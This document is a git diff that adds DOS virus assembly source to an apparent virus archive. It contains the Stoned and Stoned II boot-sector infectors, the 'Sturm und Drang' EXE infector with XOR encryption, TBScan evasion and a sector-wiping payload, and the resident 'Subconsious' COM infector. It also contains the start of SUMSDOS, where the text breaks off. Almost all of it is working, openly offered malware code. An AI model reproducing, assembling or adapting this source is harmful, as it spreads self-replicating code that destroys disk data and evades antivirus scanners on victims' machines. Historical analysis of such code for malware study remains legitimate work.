Capture the INT 13 vector (BIOS disk I/O) +;********************************************************* + + MOV AX,DS:4CH ;Offset for old INT 13 vector + MOV DS:O_13_O,AX ;Save the offset + MOV AX,DS:4EH ;Segment for old INT 13 vector + MOV DS:O_13_S,AX ;Save the segment + +;***************************************************************************** +; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but +; stealing an odd number of K would result in an odd number shown available +; when a CHKDSK is run. This might be too obvious. Or the programmer may have +; had other plans for the memory. +;***************************************************************************** + + MOV AX,DS:413H ;BIOS' internal count of available memory + DEC AX + DEC AX ;Drop it by 2K ... + MOV DS:413H,AX ;...and store it (steal it!!) + +;********************************************************* +; Find the segment of the stolen memory +;********************************************************* + + MOV CL,6 + SHL AX,CL + MOV ES,AX + +;********************************************************* +; Use the segment of the stolen memory area +;********************************************************* + + MOV DS:J_AD_S,AX ;Becomes part of a JMP address + MOV AX,OFFSET NEW_13 + MOV DS:4CH,AX ;Offset for new INT 13 + MOV DS:4EH,ES ;Segment for new INT 13 + +;**************************************************************** +;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area) +;**************************************************************** + + MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move) + PUSH CS + POP DS ;DS = CS + XOR SI,SI + MOV DI,SI ;All offsets of block move areas are 0 + CLD + REPZ MOVSB ;Copy each byte of code to the top of memory + JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code... + + + +;************************************************************** +; ...and we'll jump right here, to the transferred code +;************************************************************** + + + +;**************************************************************************** +; Redefine variable offsets again. This code executes at the top of memory, +; and so the exact value of the segment registers depends on how much memory +; is installed. The variable offsets have an assembled value of the order of +; 00xx. They are accessed using the CS: segment override +;**************************************************************************** + +D_TYPE = OFFSET _D_TYPE +O_13_O = OFFSET _O_13_O +O_13_S = OFFSET _O_13_S +J_AD_O = OFFSET _J_AD_O +J_AD_S = OFFSET _J_AD_S +BT_ADD = OFFSET _BT_ADD + + +HI_JMP: MOV AX,0 + INT 13H ;Reset disk system + +;********************************************************************** +; This will read one sector into 0000:7C00 (the boot sector address) +;********************************************************************** + + XOR AX,AX + MOV ES,AX + MOV AX,201H ;Read one sector + MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00 + CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive? + + JZ DISKET ;If booting from a diskette + +;****************************************************** +; Booting from a hard drive +;****************************************************** + + MOV CX,7 ;Track 0, sector 7 + MOV DX,80H ;Hard drive, side 0 + INT 13H ;Go get it + +; ***NOTE** There was no check as to wether or not the read was sucessful + + JMP SHORT BOOTUP ;Go run the real boot sector we've installed + + NOP + +;****************************************************** +; Booting from a diskette +;****************************************************** + +DISKET: MOV CX,3 ;Track 0, sector 3 + MOV DX,100H ;A drive, side 1 (last sector of the directory) + INT 13H ;Go get it + JB BOOTUP ;If read error, run it anyway.(???) (A prank?) + +;**************************************************************** +;Wether or not we print the "Stoned" message depends on the value +; of a byte in the internal clock time -- a fairly random event. +;**************************************************************** + + TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time + JNZ GETHDB ;Get Hard drive boot sector + +;************************************************************** +; Print the message +;************************************************************** + + MOV SI,OFFSET S_MSG ;Address of the "stoned message" + PUSH CS + POP DS + +;************************************************************** +; Loop to print individual characters +;************************************************************** + +PRINT1: LODSB + OR AL,AL ;A 00 byte means quit the loop + JZ GETHDB ;Get Hard drive boot sector, then + +;************************************************************** +; Not done looping. Print another character +;************************************************************** + + MOV AH,0EH + MOV BH,0 + INT 10H + JMP SHORT PRINT1 ;Print a character on screen + + +;************************************************************** +; Get Hard drive boot sector +;************************************************************** + +GETHDB: PUSH CS + POP ES + MOV AX,201H ;Read one sector... + MOV BX,200H ;...to the buffer following this code... + MOV CL,1 ;...from sector 1... + MOV DX,80H ;...side 0, of the hard drive + INT 13H + JB BOOTUP ;If error, assume no hard drive + ; So go run the floppy boot sector + +;*************************************************************************** +; If no read error, then there really must be a hard drive. Infect it. The +; following code uses the same trick above where the first 4 bytes of the +; boot sector are compared to the first 4 bytes of this code. If they don't +; match exactly, then this hard drive isn't infected. +;*************************************************************************** + + PUSH CS + POP DS + MOV SI,200H + MOV DI,0 + LODSW + CMP AX,[DI] + JNZ HIDEHD ;Hide real boot sector in hard drive + + LODSW + CMP AX,[DI+2] + JNZ HIDEHD ;Hide real boot sector in hard drive + +;************************************************************** +; Go run the real boot sector +;************************************************************** + +BOOTUP: MOV BYTE PTR CS:D_TYPE,0 + JMP DWORD PTR CS:BT_ADD + +;************************************************************** +; Infect - Hide real boot sector in hard drive +;************************************************************** + +HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection + MOV AX,301H ;Write i sector... + MOV BX,200H ;...from the buffer following this code... + MOV CX,7 ;...to track 0, sector 7... + MOV DX,80H ;...side 0, of the hard drive... + INT 13H ;Do it + JB BOOTUP ;Go run the real boot sector if failed + +;************************************************** +; Here if the boot sector got written successfully +;*************************************************** + + PUSH CS + POP DS + PUSH CS + POP ES + MOV SI,3BEH ;Offset of disk partition table in the buffer + MOV DI,1BEH ;Copy it to the same offset in this code + MOV CX,242H ;Strange. Only need to move 42H bytes. This + ; won't hurt, and will overwrite the copy of + ; the boot sector, maybe giving a bit more + ; concealment. + REPZ MOVSB ;Move them + MOV AX,301H ;Write 1 sector... + XOR BX,BX ;...of this code... + INC CL ;...into sector 1 + INT 13H + +; ***NOTE*** no check for a sucessful write + + JMP BOOTUP ;Now run the real boot sector + +S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF + DB LF + +;************************************************************************* +; Just garbage. In one version, this contained an extension of the above +; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain +;************************************************************************* + + DB 0,4CH,45H,47H,41H + DB 4CH,49H,53H,45H,67H + DB 2,4,68H,2,68H + DB 2,0BH,5,67H,2 + +END_BYT EQU $ ;Used to determine the size of the code. It + ; must be less than 1BE, or this code is too + ; large to be used to infect hard disks. From + ; offset 1BE and above, the hard disk partition + ; table will be copied, and anything placed + ; there will get clobbered. + + CODE ENDS + +END + \ No newline at end of file diff --git a/s/STONED2A.ASM b/s/STONED2A.ASM new file mode 100755 index 0000000..6ce70c5 --- /dev/null +++ b/s/STONED2A.ASM @@ -0,0 +1,177 @@ + +PAGE 60,132 + +; +; +; STONED2 +; +; Created: 1-Jan-80 +; +; + +DATA_1E EQU 8 ; (694B:0008=0) +DATA_2E EQU 9 ; (694B:0009=0) +DATA_3E EQU 11H ; (694B:0011=0) + +CODE_SEG_A SEGMENT + ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A + + + ORG 100h + +stoned2 PROC FAR + +start: + DB 31488 DUP (0) + DB 0EAH, 5, 0, 0C0H, 7, 0E9H + DB 99H, 0, 0, 11H, 99H, 0 + DB 0F0H, 0E4H, 0, 80H, 9FH, 0 + DB 7CH, 0, 0, 1EH, 50H, 80H + DB 0FCH, 2, 72H, 17H, 80H, 0FCH + DB 4, 73H, 12H, 0AH, 0D2H, 75H + DB 0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H + DB 3FH, 4, 0A8H, 1, 75H, 3 + DB 0E8H, 7, 0, 58H, 1FH, 2EH + DB 0FFH, 2EH, 9, 0, 53H, 51H + DB 52H, 6, 56H, 57H, 0BEH, 4 + DB 0 +LOC_1: + MOV AX,201H + PUSH CS + POP ES + MOV BX,200H + XOR CX,CX ; Zero register + MOV DX,CX + INC CX + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JNC LOC_2 ; Jump if carry=0 + XOR AX,AX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + DEC SI + JNZ LOC_1 ; Jump if not zero + JMP SHORT LOC_4 + DB 90H +LOC_2: + XOR SI,SI ; Zero register + MOV DI,200H + CLD ; Clear direction + PUSH CS + POP DS + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_3 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JE LOC_4 ; Jump if equal +LOC_3: + MOV AX,301H + MOV BX,200H + MOV CL,3 + MOV DH,1 + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JC LOC_4 ; Jump if carry Set + MOV AX,301H + XOR BX,BX ; Zero register + MOV CL,1 + XOR DX,DX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) +LOC_4: + POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + DB 33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH + DB 0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H + DB 4CH, 0, 0A3H, 9, 7CH, 0A1H + DB 4EH, 0, 0A3H, 0BH, 7CH, 0A1H + DB 13H, 4, 48H, 48H, 0A3H, 13H + DB 4, 0B1H, 6, 0D3H, 0E0H, 8EH + DB 0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H + DB 0, 0A3H, 4CH, 0, 8CH, 6 + DB 4EH, 0, 0B9H, 0B8H, 1, 0EH + DB 1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH + DB 0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH + DB 0, 0B8H, 0, 0, 0CDH, 13H + DB 33H, 0C0H, 8EH, 0C0H, 0B8H, 1 + DB 2, 0BBH, 0, 7CH, 2EH, 80H + DB 3EH, 8, 0, 0, 74H, 0BH + DB 0B9H, 7, 0, 0BAH, 80H, 0 + DB 0CDH, 13H, 0EBH, 49H, 90H, 0B9H + DB 3, 0, 0BAH, 0, 1, 0CDH + DB 13H, 72H, 3EH, 26H, 0F6H, 6 + DB 6CH, 4, 7, 75H, 12H, 0BEH + DB 89H, 1, 0EH, 1FH +LOC_5: + LODSB ; String [si] to al + OR AL,AL ; Zero ? + JZ LOC_6 ; Jump if zero + MOV AH,0EH + MOV BH,0 + INT 10H ; Video display ah=functn 0Eh + ; write char al, teletype mode + JMP SHORT LOC_5 +LOC_6: + PUSH CS + POP ES + MOV AX,201H + MOV BX,200H + MOV CL,1 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + MOV SI,200H + MOV DI,0 + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_8 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JNE LOC_8 ; Jump if not equal +LOC_7: + MOV BYTE PTR CS:DATA_1E,0 ; (694B:0008=0) + JMP DWORD PTR CS:DATA_3E ; (694B:0011=0) +LOC_8: + MOV BYTE PTR CS:DATA_1E,2 ; (694B:0008=0) + MOV AX,301H + MOV BX,200H + MOV CX,7 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + PUSH CS + POP ES + MOV SI,3BEH + MOV DI,1BEH + MOV CX,242H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV AX,301H + XOR BX,BX ; Zero register + INC CL + INT 13H ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + JMP SHORT LOC_7 + DB 7 + DB 35 DUP (0) + DB 67H, 2, 6, 67H, 2, 67H + DB 2, 0BH, 3, 67H, 2 + +stoned2 ENDP + +CODE_SEG_A ENDS + + + + END START diff --git a/s/STONEDII.ASM b/s/STONEDII.ASM new file mode 100755 index 0000000..6ce70c5 --- /dev/null +++ b/s/STONEDII.ASM @@ -0,0 +1,177 @@ + +PAGE 60,132 + +; +; +; STONED2 +; +; Created: 1-Jan-80 +; +; + +DATA_1E EQU 8 ; (694B:0008=0) +DATA_2E EQU 9 ; (694B:0009=0) +DATA_3E EQU 11H ; (694B:0011=0) + +CODE_SEG_A SEGMENT + ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A + + + ORG 100h + +stoned2 PROC FAR + +start: + DB 31488 DUP (0) + DB 0EAH, 5, 0, 0C0H, 7, 0E9H + DB 99H, 0, 0, 11H, 99H, 0 + DB 0F0H, 0E4H, 0, 80H, 9FH, 0 + DB 7CH, 0, 0, 1EH, 50H, 80H + DB 0FCH, 2, 72H, 17H, 80H, 0FCH + DB 4, 73H, 12H, 0AH, 0D2H, 75H + DB 0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H + DB 3FH, 4, 0A8H, 1, 75H, 3 + DB 0E8H, 7, 0, 58H, 1FH, 2EH + DB 0FFH, 2EH, 9, 0, 53H, 51H + DB 52H, 6, 56H, 57H, 0BEH, 4 + DB 0 +LOC_1: + MOV AX,201H + PUSH CS + POP ES + MOV BX,200H + XOR CX,CX ; Zero register + MOV DX,CX + INC CX + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JNC LOC_2 ; Jump if carry=0 + XOR AX,AX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + DEC SI + JNZ LOC_1 ; Jump if not zero + JMP SHORT LOC_4 + DB 90H +LOC_2: + XOR SI,SI ; Zero register + MOV DI,200H + CLD ; Clear direction + PUSH CS + POP DS + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_3 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JE LOC_4 ; Jump if equal +LOC_3: + MOV AX,301H + MOV BX,200H + MOV CL,3 + MOV DH,1 + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JC LOC_4 ; Jump if carry Set + MOV AX,301H + XOR BX,BX ; Zero register + MOV CL,1 + XOR DX,DX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) +LOC_4: + POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + DB 33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH + DB 0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H + DB 4CH, 0, 0A3H, 9, 7CH, 0A1H + DB 4EH, 0, 0A3H, 0BH, 7CH, 0A1H + DB 13H, 4, 48H, 48H, 0A3H, 13H + DB 4, 0B1H, 6, 0D3H, 0E0H, 8EH + DB 0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H + DB 0, 0A3H, 4CH, 0, 8CH, 6 + DB 4EH, 0, 0B9H, 0B8H, 1, 0EH + DB 1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH + DB 0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH + DB 0, 0B8H, 0, 0, 0CDH, 13H + DB 33H, 0C0H, 8EH, 0C0H, 0B8H, 1 + DB 2, 0BBH, 0, 7CH, 2EH, 80H + DB 3EH, 8, 0, 0, 74H, 0BH + DB 0B9H, 7, 0, 0BAH, 80H, 0 + DB 0CDH, 13H, 0EBH, 49H, 90H, 0B9H + DB 3, 0, 0BAH, 0, 1, 0CDH + DB 13H, 72H, 3EH, 26H, 0F6H, 6 + DB 6CH, 4, 7, 75H, 12H, 0BEH + DB 89H, 1, 0EH, 1FH +LOC_5: + LODSB ; String [si] to al + OR AL,AL ; Zero ? + JZ LOC_6 ; Jump if zero + MOV AH,0EH + MOV BH,0 + INT 10H ; Video display ah=functn 0Eh + ; write char al, teletype mode + JMP SHORT LOC_5 +LOC_6: + PUSH CS + POP ES + MOV AX,201H + MOV BX,200H + MOV CL,1 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + MOV SI,200H + MOV DI,0 + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_8 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JNE LOC_8 ; Jump if not equal +LOC_7: + MOV BYTE PTR CS:DATA_1E,0 ; (694B:0008=0) + JMP DWORD PTR CS:DATA_3E ; (694B:0011=0) +LOC_8: + MOV BYTE PTR CS:DATA_1E,2 ; (694B:0008=0) + MOV AX,301H + MOV BX,200H + MOV CX,7 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + PUSH CS + POP ES + MOV SI,3BEH + MOV DI,1BEH + MOV CX,242H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV AX,301H + XOR BX,BX ; Zero register + INC CL + INT 13H ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + JMP SHORT LOC_7 + DB 7 + DB 35 DUP (0) + DB 67H, 2, 6, 67H, 2, 67H + DB 2, 0BH, 3, 67H, 2 + +stoned2 ENDP + +CODE_SEG_A ENDS + + + + END START diff --git a/s/STURM&.ASM b/s/STURM&.ASM new file mode 100755 index 0000000..523fad2 --- /dev/null +++ b/s/STURM&.ASM @@ -0,0 +1,248 @@ +; ------------------------------------------------------------------------------ +; +; - Strm und Drang - +; Created by Immortal Riot's destructive development team +; (c) 1994 The Unforgiven/Immortal Riot +; +; ------------------------------------------------------------------------------ +; Undetectable/Destructive EXE-infector +; ------------------------------------------------------------------------------ +.model tiny +.radix 16 +.code +org 100h + +virus_start: + +call get_delta + +get_delta: +call trick_tbscan + +pop bp ; calculate the delta offset +sub bp,get_delta-virus_start + +jmp short conzeal + +trick_tbscan: + +mov ax,0305h ; keyb i/o to beat tbscan +xor bx,bx +int 16h +ret + +conzeal: + +call decrypt ; decrypt virus +jmp short encryption_start ; and continue.. + +write_virus: + +call encrypt ; write encrypted copy... +mov ah,40 +mov cx,virus_end-virus_start ; vir len +mov dx,bp ; fix correct offset +int 21h +call decrypt ; decrypt code again +ret + +encryption_value dw 0 + +decrypt: ; simple xor-encryption +encrypt: + +lea si,cs:[bp+encryption_start-virus_start] +mov cx,(virus_end-encryption_start+1)/2 +mov dx,word ptr cs:[bp+encryption_value-virus_start] + +xor_loopy: + +xor word ptr cs:[si],dx +inc si +inc si +loop xor_loopy +ret + +encryption_start: + +mov ah,2ch ; get random +int 21h +cmp dl,02 ; 1/100 = 2? +je nuke ; yeh + +mov ah,2ah ; get day +cmp dl,02 ; day = 2? +je nuke ; yeh +cmp cl,59d ; minute = 59? +jne no_bomb ; if so, wipe + +nuke: + +mov al,2 ; should only be used by +drive: ; irresponsible maniacs +mov cx,1 +rndwipe: +lea bx,[bp+v_name-virus_start] +cwd +sector: +int 26h +inc cx +jnc sector +inc al +jmp short drive + +no_bomb: + +mov ax,es +add ax,10 +add ax,cs:[bp+exe_header-virus_start+16] ; add init off in para's of + ; cs from header +push ax ; +push cs:[bp+exe_header-virus_start+14] ; store init off in bytes of + ; ip from cs + +push ds +push cs +pop ds + +lea dx,[bp+own_dta-virus_start] ; set a new dta area +mov ah,1ah ; to eof +int 21h + +get_drive: + +mov ah,19h ; get drive +int 21h ; and dont infect +cmp al,2 ; files on a: or b: +jae find_files +jmp reset_dta + +find_files: + +mov ah,4eh ; seek first file, matching +next: ; the extension 'exe' + +lea dx,[bp+exe_files-virus_start] +int 21 + +jnc open_file ; find a file +jmp reset_dta ; no more files + +open_file: + +lea dx,[bp+own_dta-virus_start+1eh] ; open file in ds:dx +mov ax,3d02h ; in read/write mode +int 21h + +read_file: + +xchg ax,bx ; file handle in bx + +mov ah,3f ; read 1ch bytes +mov cx,1ch ; to exe_header +lea dx,[bp+exe_header-virus_start] +int 21h + +cmp byte ptr ds:[bp+exe_header-virus_start],'M' ; compare EXE file +jnz no_exe ; no MZ - no exe! + +cmp word ptr ds:[bp+exe_header-virus_start+12],'UE' ; compare infection +jz infected ; assume infected + +mov al,2h ; move file ptr eof +call f_ptr + +cmp ax,2048d ; too small to infect? +jb too_small + +push dx ; store dx/ax +push ax + +mov ah,2ch ; ger random value to +int 21h ; use for encryption +jz rndwipe ; value, 0 = wipe 1ch sectors +mov word ptr cs:[bp+encryption_value-virus_start],dx + +call write_virus ; write virus to eof + +mov al,2 ; go eof +call f_ptr + +mov cx,200 +div cx +inc ax +mov word ptr ds:[exe_header-virus_start+2+bp],dx +mov word ptr ds:[exe_header-virus_start+4+bp],ax + +pop ax ; ax = total number of 512 byte pages in the file +pop dx ; dx = number of bytes in the last page in the image + + +mov cx,10 +div cx + +; "sub header size in para's", and +; fix new init offset in para's of code segment from the exe-header + +sub ax,word ptr ds:[exe_header-virus_start+8+bp] +mov word ptr ds:[exe_header-virus_start+16+bp],ax + + +mov word ptr ds:[exe_header-virus_start+14+bp],dx ; fix new infection +mov word ptr ds:[exe_header-virus_start+12+bp],'UE' ; marker! + +; Now all important manipulations are executed, and we'll write the new +; header... + +xor al,al ; file ptr +call f_ptr ; tof + +mov ah,40 ; write new +mov cx,1ch ; modified +lea dx,[bp+exe_header-virus_start] ; exe header +int 21h + +no_exe: +infected: +too_small: + +lea si,[bp+own_dta-virus_start+16h] ; set back org +mov cx,word ptr [si] ; time/date to +mov dx,word ptr [si+2] ; the infected file +mov ax,5701h +int 21h + +mov ah,3eh ; close file +int 21h + +mov ah,4fh ; and seek next file +jmp next + +f_ptr: + +mov ah,42h ; this routine is +xor cx,cx ; called three time, +cwd ; i.e. bad optimized +int 21h ; code, hehe! +ret + +reset_dta: + +mov dx,80h ; set's back the +mov ah,1ah ; dta area +int 21h + +quit: +pop ds ; jmp org program +retf + +v_name db "[Strm und Drang!] (c) '94 The Unforgiven/Immortal Riot" + +exe_files db "*.EXE",0 + +exe_header db 16 DUP(0) ; \ + dw 0fff0 ; - EXE-HEADER + db 4 DUP(0) ; / +virus_end: +own_dta: + end virus_Start diff --git a/s/SUBCON.ASM b/s/SUBCON.ASM new file mode 100755 index 0000000..d24580f --- /dev/null +++ b/s/SUBCON.ASM @@ -0,0 +1,257 @@ +; +; Subconsious virus, written by Conzouler 1995. +; +; This virus is based on RSV.208. +; +; Effect: +; Flashes a text on line 4 on the screen. +; The text is drawn once on the screen with +; raster beam syncronisation. The after- +; glow can make the text visible for a longer +; period, especially when using black back- +; ground. +; +; Features: +; memory resident +; com-append on execute +; no tb-flags (of course) +; no f-prot heuristics +; untbcleanable +; no destructive routines +; no stealth +; + +.model tiny +.code + org 100h + +psize equ (offset last - offset entry) / 10h + 7 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 ; Initial jump +start: + call gores +delta equ $ +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h ; Installation check + int 21h + jnc restore + + mov ah, 4Ah ; Get size of memory block + mov bx, 0FFFFh + int 21h + mov ah, 4Ah ; Change size of memory + sub bx, psize+1 ; Make space for virus + int 21h + mov ah, 48h ; Allocate memory + mov bx, psize + int 21h + sub ax, 10h ; Compensate org 100h + mov es, ax + mov di, 103h + mov si, sp ; Get entry point + mov si, [si] + sub si, 3 ; Subtract first call + mov cx, size-3 + rep movsb ; Copy virus to new memory + push es + pop ds + inc byte ptr ds:[0F1h] ; Mark owner of memory + mov ax, 3508h ; Get interrupt vector + int 21h + mov i08o, bx + mov i08s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec08 + int 21h + mov ax, 3521h ; Get interrupt vector + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec21 + int 21h +restore: + mov di, 100h + push cs ; Set es and ds to psp + pop ds + jmp next ; Clear prefetch queue + db 'Subconsious virus - Conzouler/IR 1995.' +next: pop si ; Get entry point + mov byte ptr ds:si[offset debug+1-delta], 0; Fool tbclean +debug: jmp nodebug + int 20h +nodebug: + push ds + pop es + push di ; Save it + movsw ; Restore program entry point + movsb + retn ; Jump to 100h + + db ' Mina tankar r det sista som ni tar... ' + +vec08: + pushf + push ax + push cx + push dx + push si + push di + push ds + push es + + xor ax, ax ; Get timer + mov ds, ax + mov al, ds:[46Ch] + and al, 7Fh ; See if time to show + or al, al + jnz v08x + + cld + + mov ax, 0B800h ; Video memory + mov ds, ax + push cs + pop es + + mov si, (80*4+20)*2 ; Centre text on line 4 + mov di, offset last + mov cx, subsize + rep movsw ; Save original + + mov dx, 3DAh ; Raster port +vbl: in al, dx ; Wait for vertical retrace + test al, 8 + jnz vbl +vbl2: in al, dx + test al, 8 + jz vbl2 + + mov cx, subsize ; Put message on screen + mov si, offset msg + mov di, (80*4+20)*2 + push ds + push es + pop ds + pop es +disp: movsb + inc di + loop disp + +vbl3: in al, dx ; Wait for retrace to end + test al, 8 + jnz vbl3 + + mov cx, 5*16 ; Wait until 5 lines have +hbl: in al, dx ; been read from video mem + test al, 1 + jz hbl +hbl2: in al, dx + test al, 1 + jnz hbl2 + loop hbl + + mov cx, subsize ; Restore original screen + mov di, (80*4+20)*2 + mov si, offset last + rep movsw + +v08x: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop ax + popf + + db 0EAh +i08o dw ? +i08s dw ? + +msg db 'LOVE LOVE LOVE LOVE LOVE LOVE LOVE LOVE' +subsize equ $-offset msg + + +vec21: + cmp ax, 4277h ; Installation check + jne v21e + iret + +v21e: cmp ax, 4B00h ; Execute program + jne v21x + + push ax ; Infect file + push bx + push cx + push dx + push ds + + mov ax, 3D82h ; Open file + int 21h + xchg ax, bx ; Put handle in bx + + push cs ; Read first bytes + pop ds ; to oentry + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' ; Check if exe file + je infectx + push cx + + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd ; Zero dx + int 21h + sub ax, 3 ; Get offset to eof + mov word ptr entry[1], ax ; Save as jump + xchg dx, ax + mov ax, 4200h + int 21h + mov ah, 3Fh ; Infection check + mov dx, offset last + pop cx + int 21h + cmp byte ptr last[2], 0EAh ; Check if infected + je infectx + + mov byte ptr entry, 0E9h ; Create jump opcode + + mov ah, 3Fh ; Append virus + inc ah ; Fool TBScan + push ax + mov dx, 103h + mov cx, size-7 + int 21h + + mov ax, 4200h ; Insert jump + xor cx, cx + cwd + int 21h + + pop ax + mov dh, 1h ; 100h in dx + mov cl, 3 ; 3 in cx + int 21h +infectx: + mov ah, 3Eh + int 21h + + pop ds + pop dx + pop cx + pop bx + pop ax + +v21x: db 0EAh ; Jump to dos vector +i21o dw ? +i21s dw ? +last: +end entry diff --git a/s/SUBR.ASM b/s/SUBR.ASM new file mode 100755 index 0000000..0c7359c Binary files /dev/null and b/s/SUBR.ASM differ diff --git a/s/SUMSDOS.ASM b/s/SUMSDOS.ASM new file mode 100755 index 0000000..fb88b2d --- /dev/null +++ b/s/SUMSDOS.ASM @@ -0,0 +1,786 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +PAGE 60,132 + +; +; +; SUMSDOS +; +; + +DATA_1E EQU 2CH ; (0000:002C=0FF23H) +DATA_2E EQU 43H ; (3E00:0043=0FFFFH) +DATA_3E EQU 45H ; (3E00:0045=0FFFFH) +DATA_4E EQU 47H ; (3E00:0047=0FFFFH) +DATA_5E EQU 49H ; (3E00:0049=0FFFFH) +DATA_6E EQU 51H ; (3E00:0051=0FFFFH) +DATA_7E EQU 53H ; (3E00:0053=0FFFFH) +DATA_8E EQU 57H ; (3E00:0057=0FFFFH) +DATA_9E EQU 5DH ; (3E00:005D=0FFFFH) +DATA_10E EQU 5FH ; (3E00:005F=0FFFFH) +DATA_11E EQU 61H ; (3E00:0061=0FFFFH) +DATA_12E EQU 63H ; (3E00:0063=0FFFFH) +DATA_13E EQU 65H ; (3E00:0065=0FFFFH) +DATA_14E EQU 78H ; (3E00:0078=0FFFFH) +DATA_15E EQU 7AH ; (3E00:007A=0FFFFH) +DATA_16E EQU 7CH ; (3E00:007C=0FFFFH) +DATA_17E EQU 7EH ; (3E00:007E=0FFFFH) +DATA_18E EQU 0AH ; (6CAF:000A=0) +DATA_19E EQU 0CH ; (6CAF:000C=0) +DATA_20E EQU 0EH ; (6CAF:000E=0) +DATA_21E EQU 0FH ; (6CAF:000F=0) +DATA_22E EQU 11H ; (6CAF:0011=0) +DATA_23E EQU 13H ; (6CAF:0013=0) +DATA_24E EQU 15H ; (6CAF:0015=0) +DATA_25E EQU 17H ; (6CAF:0017=0) +DATA_26E EQU 19H ; (6CAF:0019=0) +DATA_27E EQU 1BH ; (6CAF:001B=0) +DATA_28E EQU 1DH ; (6CAF:001D=0) +DATA_29E EQU 1FH ; (6CAF:001F=0) +DATA_30E EQU 29H ; (6CAF:0029=0) +DATA_31E EQU 2BH ; (6CAF:002B=0) +DATA_32E EQU 2DH ; (6CAF:002D=0) +DATA_33E EQU 2FH ; (6CAF:002F=0) +DATA_34E EQU 31H ; (6CAF:0031=0) +DATA_35E EQU 33H ; (6CAF:0033=0) +DATA_36E EQU 4EH ; (6CAF:004E=0) +DATA_37E EQU 70H ; (6CAF:0070=0) +DATA_38E EQU 72H ; (6CAF:0072=0) +DATA_39E EQU 74H ; (6CAF:0074=0) +DATA_40E EQU 76H ; (6CAF:0076=0) +DATA_41E EQU 7AH ; (6CAF:007A=0) +DATA_42E EQU 80H ; (6CAF:0080=0) +DATA_43E EQU 82H ; (6CAF:0082=0) +DATA_44E EQU 8FH ; 